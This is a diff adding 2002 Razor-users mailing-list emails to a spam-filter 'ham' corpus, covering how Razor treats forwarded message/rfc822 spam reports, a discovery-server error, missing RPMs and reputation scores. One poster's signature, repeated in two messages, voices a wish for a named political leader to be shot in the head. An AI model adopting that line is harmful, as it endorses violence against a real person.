2002 02:24:29 +0200 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6Q0YN409744 + +I cannot determine if a verbatim forwarded message from Agent is handled +correctly i.e. that a message with Content-Type: message/rfc822 does not +include the original header lines improperly in the email body when reporting +the spam. It would be really nice and convenient if it supported as the Agent +verbatim forwarding option is easy to use. +SpamCop does understand the format. +See an examle below: + +- Jørgen + +Return-Path: +Delivered-To: jth@jth.net +Received: from vennely1 (vennely1 [194.192.106.109]) + by mail.jth.net (Postfix) with SMTP id 17A9118684 + for ; Fri, 26 Jul 2002 02:15:03 +0200 (CEST) +From: =?ISO-8859-1?Q?J=F8rgen_Thomsen?= +To: j@jth.net +Subject: (fwd) [Razor-users] Razor Agents 2.14 Released +Date: Fri, 26 Jul 2002 02:14:57 +0200 +Message-ID: +X-Mailer: Forte Agent 1.91/32.564 +MIME-Version: 1.0 +Content-Type: message/rfc822 +Content-Disposition: inline + +Return-Path: +Delivered-To: list@jth.net +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net +[216.136.171.252]) + by mail.jth.net (Postfix) with ESMTP id 88B0F18684 + for ; Fri, 26 Jul 2002 01:18:00 +0200 (CEST) + +and the rest of the original header and the body + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00549.703d3fc9f56814c467616f8aac31d22d b/bayes/spamham/easy_ham_2/00549.703d3fc9f56814c467616f8aac31d22d new file mode 100644 index 0000000..0315a33 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00549.703d3fc9f56814c467616f8aac31d22d @@ -0,0 +1,127 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 02:43:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 206B3440E7 + for ; Thu, 25 Jul 2002 21:43:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 02:43:30 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6Q1fr413370 for ; Fri, 26 Jul 2002 02:41:53 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XtzZ-0004Aa-00; Thu, + 25 Jul 2002 18:34:05 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XtzQ-0008Ex-00 for + ; Thu, 25 Jul 2002 18:33:56 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g6Q1XG517233; Thu, 25 Jul 2002 18:33:16 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: =?iso-8859-1?Q?J=F8rgen?= Thomsen +Cc: razor-users@example.sourceforge.net +Message-Id: <20020726013315.GC11850@nexus.cloudmark.com> +References: <20020725231115.GA11850@nexus.cloudmark.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-MIME-Autoconverted: from 8bit to quoted-printable by nexus.cloudmark.com + id g6Q1XG517233 +Subject: [Razor-users] Re: Content-Type: message/rfc822 supported ? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 18:33:15 -0700 +Date: Thu, 25 Jul 2002 18:33:15 -0700 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6Q1fr413370 + + Not sure what you're asking. + Content-Type: message/rfc822 mails are handled like attachments + and are not broken down further into mime parts. That is, the attachment + is treated as one part. The headers and body of the message/rfc822 are + sent to the server without parsing. The other way to handle it is to treat it like + a regular mail, and break it down into parts. + + There are reasons to break it down and not to break it down, and right + now we chose not to break it down. This might change in the future. + + -chad + + + +On 26/07/02 02:24 +0200, Jørgen Thomsen wrote: +) I cannot determine if a verbatim forwarded message from Agent is handled +) correctly i.e. that a message with Content-Type: message/rfc822 does not +) include the original header lines improperly in the email body when reporting +) the spam. It would be really nice and convenient if it supported as the Agent +) verbatim forwarding option is easy to use. +) SpamCop does understand the format. +) See an examle below: +) +) - Jørgen +) +) Return-Path: +) Delivered-To: jth@jth.net +) Received: from vennely1 (vennely1 [194.192.106.109]) +) by mail.jth.net (Postfix) with SMTP id 17A9118684 +) for ; Fri, 26 Jul 2002 02:15:03 +0200 (CEST) +) From: =?ISO-8859-1?Q?J=F8rgen_Thomsen?= +) To: j@jth.net +) Subject: (fwd) [Razor-users] Razor Agents 2.14 Released +) Date: Fri, 26 Jul 2002 02:14:57 +0200 +) Message-ID: +) X-Mailer: Forte Agent 1.91/32.564 +) MIME-Version: 1.0 +) Content-Type: message/rfc822 +) Content-Disposition: inline +) +) Return-Path: +) Delivered-To: list@jth.net +) Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net +) [216.136.171.252]) +) by mail.jth.net (Postfix) with ESMTP id 88B0F18684 +) for ; Fri, 26 Jul 2002 01:18:00 +0200 (CEST) +) +) and the rest of the original header and the body +) +) +) ------------------------------------------------------- +) This sf.net email is sponsored by: Jabber - The world's fastest growing +) real-time communications platform! Don't just IM. Build it in! +) http://www.jabber.com/osdn/xim +) _______________________________________________ +) Razor-users mailing list +) Razor-users@lists.sourceforge.net +) https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00550.ed489788f36c6cf580b286323712f99a b/bayes/spamham/easy_ham_2/00550.ed489788f36c6cf580b286323712f99a new file mode 100644 index 0000000..7fc7d10 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00550.ed489788f36c6cf580b286323712f99a @@ -0,0 +1,75 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 06:54:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CE672440E8 + for ; Fri, 26 Jul 2002 01:54:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 06:54:55 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6Q5tG427338 for ; Fri, 26 Jul 2002 06:55:16 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XxvO-0002N4-00; Thu, + 25 Jul 2002 22:46:02 -0700 +Received: from 72-17-237-24-cable.juneau.ak.net ([24.237.17.72] + helo=pen.homeip.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17XxvG-0001Gk-00 for + ; Thu, 25 Jul 2002 22:45:54 -0700 +Received: from localhost (localhost [[UNIX: localhost]]) by pen.homeip.net + (8.11.6/8.11.6/SuSE Linux 0.5) id g6Q5jhG29143; Thu, 25 Jul 2002 21:45:43 + -0800 +Message-Id: <200207260545.g6Q5jhG29143@pen.homeip.net> +Content-Type: text/plain; charset="iso-8859-1" +From: John Andersen +Reply-To: jsa@pen.homeip.net +To: Kylus , razor-users@example.sourceforge.net +Subject: Re: [Razor-users] unsubscribe +X-Mailer: KMail [version 1.3.2] +References: <00f101c23331$1bdda5c0$b554a8c0@RAGING> + <001301c233e4$b75d4ba0$7c640f0a@mfc.corp.mckee.com> + <20020725101603.A25951@blkdragon> +In-Reply-To: <20020725101603.A25951@blkdragon> +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 25 Jul 2002 21:45:42 -0800 +Date: Thu, 25 Jul 2002 21:45:42 -0800 + +On Thursday 25 July 2002 06:16 am, Kylus wrote: +> Much thanks and my apologies if I come across as a jerk. + +It needed saying. Thanks for stepping up. + +-- +_________________________________________________ +No I Don't Yahoo! +And I'm getting pretty sick of being asked if I do. +_________________________________________________ +John Andersen / Juneau Alaska + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00551.6b4053cfee95cebc96ffe991178ca79d b/bayes/spamham/easy_ham_2/00551.6b4053cfee95cebc96ffe991178ca79d new file mode 100644 index 0000000..ccf9869 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00551.6b4053cfee95cebc96ffe991178ca79d @@ -0,0 +1,84 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 07:56:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 60B05440E7 + for ; Fri, 26 Jul 2002 02:56:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 07:56:25 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6Q6tN430578 for ; Fri, 26 Jul 2002 07:55:23 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xyna-00029D-00; Thu, + 25 Jul 2002 23:42:02 -0700 +Received: from cpe.atm0-0-0-111163.0xc2c06a6d.boanxx1.customer.tele.dk + ([194.192.106.109] helo=mail.jth.net) by usw-sf-list1.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17XynA-00030l-00 for + ; Thu, 25 Jul 2002 23:41:36 -0700 +Received: from vennely1 (vennely1 [194.192.106.109]) by mail.jth.net + (Postfix) with SMTP id 7047918684 for ; + Fri, 26 Jul 2002 08:41:25 +0200 (CEST) +From: =?ISO-8859-1?Q?J=F8rgen_Thomsen?= +To: razor-users@example.sourceforge.net +Message-Id: +References: <20020725231115.GA11850@nexus.cloudmark.com> + + <20020726013315.GC11850@nexus.cloudmark.com> +In-Reply-To: <20020726013315.GC11850@nexus.cloudmark.com> +X-Mailer: Forte Agent 1.91/32.564 +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Subject: [Razor-users] Re: Content-Type: message/rfc822 supported ? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 08:41:23 +0200 +Date: Fri, 26 Jul 2002 08:41:23 +0200 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6Q6tN430578 + +Thu, 25 Jul 2002 18:33:15 -0700 skrev du: + +> Not sure what you're asking. + +I just want to be sure, that forwarding an email to my own spamtrap address +which performs a razor-report on the entire received email is not waste of +time, because the contents of the forwarded email is not recognized as equal +to the email originally received. The forwarded email has a new set of +headerlines, which should be discarded and instead the headerlines of the +original message are in the body of this new message and should be recognized +as such and treated properly. + +An ordinary Forward Unquoted in Agent is subject to character set conversions +and does not depict the received spam in its original form. + +I hope this clarifies my concerns. + +- Jørgen + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00552.bb5ababab06288f157e62ec89340d6c2 b/bayes/spamham/easy_ham_2/00552.bb5ababab06288f157e62ec89340d6c2 new file mode 100644 index 0000000..849e218 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00552.bb5ababab06288f157e62ec89340d6c2 @@ -0,0 +1,75 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 08:42:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3F76D440E8 + for ; Fri, 26 Jul 2002 03:42:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 08:42:14 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6Q7fV400401 for ; Fri, 26 Jul 2002 08:41:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Xzax-0003Bk-00; Fri, + 26 Jul 2002 00:33:03 -0700 +Received: from cable-b-36.sigecom.net ([63.69.210.36] helo=kamakiriad.com) + by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17Xzak-0005xo-00 for ; + Fri, 26 Jul 2002 00:32:50 -0700 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6Q7Wco26381 + for ; Fri, 26 Jul 2002 02:32:38 -0500 +From: Brian Fahrlander +To: razor-users@example.sourceforge.net +Message-Id: <20020726023237.29104326.kilroy@kamakiriad.com> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +X-MIME-Autoconverted: from 8bit to quoted-printable by kamakiriad.com id + g6Q7Wco26381 +Subject: [Razor-users] Archive Question +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 02:32:37 -0500 +Date: Fri, 26 Jul 2002 02:32:37 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6Q7fV400401 + + + Uh, guys? I can't seem to find the RPMs anymore. Does anyone else remember the URL? + + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00553.a34829179595f5aefb083a26b5bc3576 b/bayes/spamham/easy_ham_2/00553.a34829179595f5aefb083a26b5bc3576 new file mode 100644 index 0000000..ffc3797 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00553.a34829179595f5aefb083a26b5bc3576 @@ -0,0 +1,66 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 18:12:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7FECE440ED + for ; Fri, 26 Jul 2002 13:11:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 18:11:21 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6QH9Dr12630 for ; Fri, 26 Jul 2002 18:09:13 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y8Tc-0001ye-00; Fri, + 26 Jul 2002 10:02:04 -0700 +Received: from www.ctyme.com ([209.237.228.10] helo=darwin.ctyme.com) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y8T5-0003XO-00 for + ; Fri, 26 Jul 2002 10:01:31 -0700 +Received: from m206-56.dsl.tsoft.com ([198.144.206.56] helo=perkel.com) by + darwin.ctyme.com with asmtp (TLSv1:RC4-MD5:128) (Exim 3.35 #1) id + 17Y8SN-00046C-00 for razor-users@lists.sourceforge.net; Fri, + 26 Jul 2002 10:00:47 -0700 +Message-Id: <3D41804A.3060609@perkel.com> +From: Marc Perkel +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) + Gecko/20020530 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: razor-users@example.sourceforge.net +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [Razor-users] My razor identity reputation score +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 10:00:58 -0700 +Date: Fri, 26 Jul 2002 10:00:58 -0700 + +As I understand it - the central database keeps a score of a reporters +electronic "reputation". Is there any way for me to read this? I want to +be able to tell how many messages I sent and if there were any revokes? + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00554.ce77b9d5b74e0fa03b1d97d172dbfc4d b/bayes/spamham/easy_ham_2/00554.ce77b9d5b74e0fa03b1d97d172dbfc4d new file mode 100644 index 0000000..1702265 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00554.ce77b9d5b74e0fa03b1d97d172dbfc4d @@ -0,0 +1,109 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 18:16:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E067A440E8 + for ; Fri, 26 Jul 2002 13:16:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 18:16:39 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6QHF6r12928 for ; Fri, 26 Jul 2002 18:15:06 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y8YU-0004to-00; Fri, + 26 Jul 2002 10:07:06 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17Y8Xs-00051I-00 for + ; Fri, 26 Jul 2002 10:06:28 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g6QH5lD16084; Fri, 26 Jul 2002 10:05:47 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: =?iso-8859-1?Q?J=F8rgen?= Thomsen +Cc: razor-users@example.sourceforge.net +Message-Id: <20020726170546.GA16004@nexus.cloudmark.com> +References: <20020725231115.GA11850@nexus.cloudmark.com> + + <20020726013315.GC11850@nexus.cloudmark.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-MIME-Autoconverted: from 8bit to quoted-printable by nexus.cloudmark.com + id g6QH5lD16084 +Subject: [Razor-users] Re: Content-Type: message/rfc822 supported ? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 10:05:47 -0700 +Date: Fri, 26 Jul 2002 10:05:47 -0700 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6QHF6r12928 + + For what you're trying to do, forwarding does not work. + 'bounce' works perfectly, if you can do that. + Another option is to save spam to a folder and report + it all at once. + + -chad + + +On 26/07/02 08:41 +0200, Jørgen Thomsen wrote: +) Thu, 25 Jul 2002 18:33:15 -0700 skrev du: +) +) > Not sure what you're asking. +) +) I just want to be sure, that forwarding an email to my own spamtrap address +) which performs a razor-report on the entire received email is not waste of +) time, because the contents of the forwarded email is not recognized as equal +) to the email originally received. The forwarded email has a new set of +) headerlines, which should be discarded and instead the headerlines of the +) original message are in the body of this new message and should be recognized +) as such and treated properly. +) +) An ordinary Forward Unquoted in Agent is subject to character set conversions +) and does not depict the received spam in its original form. +) +) I hope this clarifies my concerns. +) +) - Jørgen +) +) +) +) ------------------------------------------------------- +) This sf.net email is sponsored by:ThinkGeek +) Welcome to geek heaven. +) http://thinkgeek.com/sf +) _______________________________________________ +) Razor-users mailing list +) Razor-users@lists.sourceforge.net +) https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00555.219cc078f109a6eea18c579f143a8cef b/bayes/spamham/easy_ham_2/00555.219cc078f109a6eea18c579f143a8cef new file mode 100644 index 0000000..7239327 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00555.219cc078f109a6eea18c579f143a8cef @@ -0,0 +1,84 @@ +From razor-users-admin@lists.sourceforge.net Fri Jul 26 18:16:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4FDAE440EC + for ; Fri, 26 Jul 2002 13:16:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 26 Jul 2002 18:16:41 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6QHHSr13030 for ; Fri, 26 Jul 2002 18:17:28 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Y8ZW-0005Z8-00; Fri, + 26 Jul 2002 10:08:10 -0700 +Received: from cable-b-36.sigecom.net ([63.69.210.36] helo=kamakiriad.com) + by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17Y8Yp-0005MZ-00 for ; + Fri, 26 Jul 2002 10:07:27 -0700 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6QH7Io28108 + for ; Fri, 26 Jul 2002 12:07:18 -0500 +From: Brian Fahrlander +To: razor-users@example.sourceforge.net +Message-Id: <20020726120718.354a07de.kilroy@kamakiriad.com> +In-Reply-To: <3D41804A.3060609@perkel.com> +References: <3D41804A.3060609@perkel.com> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +X-MIME-Autoconverted: from 8bit to quoted-printable by kamakiriad.com id + g6QH7Io28108 +Subject: [Razor-users] Routine problem; this time it's mine. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 26 Jul 2002 12:07:18 -0500 +Date: Fri, 26 Jul 2002 12:07:18 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6QHHSr13030 + + + I hate to ask...I've heard it mentioned several times here, but I couldn't find a digest, and the hits I found on Google turned up missing pages. :( + + I thought I was reporting spams all this time...the last month or so...but I wasn't. I had a pathing problem going on, and a log-pathing problem, too, but hadn't noticed it yet. Now, the system seems to be working, other than this message in the logs: + + nextserver: Could not get valid info from Discovery Servers + + What's the fix for this again? Is it a server outtage, or something else? + + I'm using the 2.03 sdk, and the new 2.14 agent... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00556.b788fec72ef851b2cbffad150040249d b/bayes/spamham/easy_ham_2/00556.b788fec72ef851b2cbffad150040249d new file mode 100644 index 0000000..c42fc63 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00556.b788fec72ef851b2cbffad150040249d @@ -0,0 +1,95 @@ +From razor-users-admin@lists.sourceforge.net Wed Jul 31 22:42:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D946E440CD + for ; Wed, 31 Jul 2002 17:42:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 22:42:13 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6VLgS210416 for ; Wed, 31 Jul 2002 22:42:29 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17a14c-0002wW-00; Wed, + 31 Jul 2002 14:32:02 -0700 +Received: from habanero.hesketh.net ([66.45.6.196]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) 